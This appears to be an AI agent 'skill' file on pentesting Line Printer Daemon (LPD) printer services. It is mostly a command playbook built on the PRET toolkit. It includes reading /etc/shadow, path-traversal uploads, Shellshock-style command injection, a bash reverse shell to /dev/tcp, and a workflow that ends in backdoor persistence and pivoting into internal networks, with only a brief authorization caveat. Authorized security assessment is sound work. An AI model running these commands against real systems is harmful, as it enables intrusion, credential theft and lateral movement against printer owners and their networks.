| name | lpd-pentesting |
| description | How to pentest Line Printer Daemon (LPD) services on port 515/tcp. Use this skill whenever you need to assess printer security, test LPD/LPRng implementations, enumerate printer services, or exploit LPD vulnerabilities. Trigger this skill for any task involving port 515, printer exploitation, LPRng testing, network printer security assessments, or when you discover an LPD service during reconnaissance. |
LPD Pentesting Skill
A comprehensive guide for pentesting Line Printer Daemon (LPD) services.
What is LPD?
The Line Printer Daemon (LPD) protocol operates on port 515/tcp and was developed in Berkeley Unix in the 1980s (RFC1179). It uses the lpr command and works by sending:
- Control file: Specifies job details and user information
- Data file: Contains the actual print information
Common implementations include LPRng on Unix-like systems.
Why LPD is Vulnerable
LPD can be exploited through:
- Malicious PostScript injection
- PJL (Printer Job Language) command injection
- File operations (upload/download/delete)
- Command execution via crafted print jobs
Tools
PRET (Printer Exploitation Toolkit)
PRET provides two essential tools for LPD interaction. Install from: https://github.com/RUB-NDS/PRET
lpdprint.py - Print files to LPD printers
lpdprint.py <hostname> <filename>
lpdtest.py - Test and interact with LPD printers
lpdtest.py <hostname> get <path>
lpdtest.py <hostname> put <local_path> <remote_path>
lpdtest.py <hostname> rm <path>
lpdtest.py <hostname> in '() {:;}; <command>'
lpdtest.py <hostname> mail <email>
Common Exploitation Techniques
1. File Enumeration
Try to read sensitive files from the printer:
lpdtest.py <target> get /etc/passwd
lpdtest.py <target> get /etc/shadow
lpdtest.py <target> get /etc/hosts
2. File Upload
Upload malicious files or reverse shells:
lpdtest.py <target> put <local_file> <remote_path>
lpdtest.py <target> put ../../etc/passwd
3. Command Injection
Execute commands via LPD:
lpdtest.py <target> in '() {:;}; <command>'
lpdtest.py <target> in '() {:;}; ping -c1 <your_ip>'
lpdtest.py <target> in '() {:;}; bash -i >& /dev/tcp/<your_ip>/<port> 0>&1'
4. Out-of-Band Communication
Send data via mail command:
lpdtest.py <target> mail <your_email>
Finding LPD Services
Shodan Search
port 515
Nmap Scan
nmap -p 515 <target>
nmap -sV -p 515 <target>
nmap --script lpd-enum -p 515 <target>
Workflow
- Reconnaissance: Identify LPD services via port scanning or Shodan
- Enumeration: Use
lpdtest.py to probe for accessible files
- Exploitation: Attempt command injection or file operations
- Persistence: Upload backdoors or modify printer configurations
- Pivot: Use printer as a pivot point to internal networks
Safety Considerations
- Only test systems you have authorization to assess
- LPD exploitation can cause printer malfunctions
- Some operations may be logged and trigger alerts
- Document all findings for reporting
- Be aware that some printers may have additional security measures
References